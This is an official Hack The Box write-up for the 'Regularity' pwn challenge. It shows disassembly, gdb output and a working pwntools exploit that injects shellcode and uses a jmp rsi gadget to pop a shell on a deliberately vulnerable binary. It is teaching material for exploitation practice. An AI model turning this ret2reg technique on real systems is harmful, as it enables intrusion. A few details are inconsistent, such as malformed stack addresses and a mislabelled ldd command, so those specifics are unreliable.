

HACKTHEBOX

Regularity

6th May 2024 / Document No. D24.102.115

Prepared By: `ir0nstone`

Challenge Author(s): `ir0nstone`

Difficulty: **Very Easy**

Classification: Official

Synopsis

- Regularity is an Easy pwn challenge that involves performing a ret2reg to run custom shellcode and pop a shell.

Skills Required

- Basic stack exploitation knowledge

Skills Learned

- ret2reg
- shellcoding

Enumeration

We are given the executable file `regularity` and a fake `flag.txt` for testing. Running `pwn checksec regularity`, we can see that there are no protections:

```
$ pwn checksec regularity
Arch:      amd64-64-little
RELRO:     No RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0x400000)
Stack:     Executable
```

In fact, if we run `ldd checksec`, we can see that it is **statically linked**:

```
$ ldd regularity
not a dynamic executable
```

There's no NX, so we can run our own shellcode. Let's try running it:

```
$ ./regularity
Hello, Survivor. Anything new these days?
nope
Yup, same old same old here as well...
```

It takes in our input and exits. Great.

Let's move on and disassemble the binary.

Disassembly

Opening it up in Binary Ninja (or any disassembler of choice), we can go straight to `_start`:

```

_start:
00401000  mov     edi, 0x1
00401005  mov     rsi, message1 {"Hello, Survivor. Anything new th..."}
0040100f  mov     edx, 0x2a
00401014  call    write
00401019  call    read
0040101e  mov     edi, 0x1
00401023  mov     rsi, message3 {"Yup, same old same old here as w..."}
0040102d  mov     edx, 0x27
00401032  call    write
00401037  mov     rsi, exit
00401041  jmp     rsi {exit}

```

```

0040106f  mov     eax, 0x3c
00401074  xor     edi, edi {0x0}
00401076  syscall
{ Does not return }

```

We see that the binary calls `write`, `read` then `write` again. The parameters are clearly labelled. Once that's complete, it pushes the address of `exit` to RSI and then runs `jmp rsi` to exit gracefully using the `exit` syscall. Let's check out `write` and `read`:

```

write:
00401043  mov     eax, 0x1
00401048  syscall
0040104a  retn     {__return_addr}

```

Nothing of note here - just calls the `write` syscall. Now for `read`:

```

read:
0040104b  sub     rsp, 0x100
00401052  mov     eax, 0x0
00401057  mov     edi, 0x0
0040105c  lea     rsi, [rsp {var_100}]
00401060  mov     edx, 0x110
00401065  syscall
00401067  add     rsp, 0x100
0040106e  retn     {__return_addr}

```

Here is a vulnerability! It subtracts `0x100` from RSP to make space for a buffer. It then calls the `read` syscall to read to that buffer. The `count` passed to `read`, however, is `0x110`! This results in `0x10` bytes of overflow; that is the only vulnerability. But what can we do with this?

Solution

The stack is executable, so shellcode is an excellent idea. However, ASLR is enabled, so if we run the program multiple times our shellcode will be located at different addresses. Not ideal! We have to find a better way.

If we input a long string of `A` characters break at the `ret` in `read` (address `0x40106e`), we can observe where the string is loaded:

```
$ gdb -q regularity
pwndbg> b *0x40106e
pwndbg> r
Hello, Survivor. Anything new these days?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x000000000040106e in read ()

pwndbg> x/10gx $rsp-0x100
0x7fffffffddde8: 0x4141414141414141  0x4141414141414141
0x7fffffffdddf8: 0x4141414141414141  0x4141414141414141
0x7fffffffdde08: 0x4141414141414141  0x4141414141414141
0x7fffffffde18: 0x4141414141414141  0x0000000a41414141
0x7fffffffde28: 0x0000000000000000  0x0000000000000000
```

The buffer is located at `0x7fffffffddde8`. Could it possibly be that a register points there?

```
pwndbg> info reg
rax          0x3d          61
rbx          0x0           0
rcx          0x401067      4198503
rdx          0x110        272
rsi          0x7fffffffddde8 140737488346600
rdi          0x0           0
rbp          0x0           0x0
rsp          0x7fffffffdee8 0x7fffffffdee8
r8           0x0           0
r9           0x0           0
r10          0x0           0
r11          0x206        518
r12          0x0           0
r13          0x0           0
r14          0x0           0
r15          0x0           0
rip          0x40106e      0x40106e <read+35>
eflags      0x206          [ PF IF ]
cs          0x33          51
ss          0x2b          43
ds          0x0           0
es          0x0           0
fs          0x0           0
```

`gs``0x0``0`

It does! RSI points there!

But what can we do with this? Well, as we previously observed, there is a `jmp rsi` gadget present in the binary which is used to jump to `exit`. If we overwrite the return pointer with the address of `jmp rsi`, it will jump to our shellcode!

Exploitation

We'll start by importing `pwntools` and setting up our process.

```
from pwn import *

elf = context.binary = ELF('../challenge/regularity', checksec=False)
p = process()
```

We can then construct our payload, with shellcode followed by the address of our gadget.

```
JMP_RSI = next(elf.search(asm('jmp rsi')))

payload = flat({
    0:      asm(shellcraft.sh()),
    256:    JMP_RSI
})
```

Finally, we send the payload, obtaining a shell.

```
p.sendlineafter(b'days?\n', payload)
p.interactive()
```
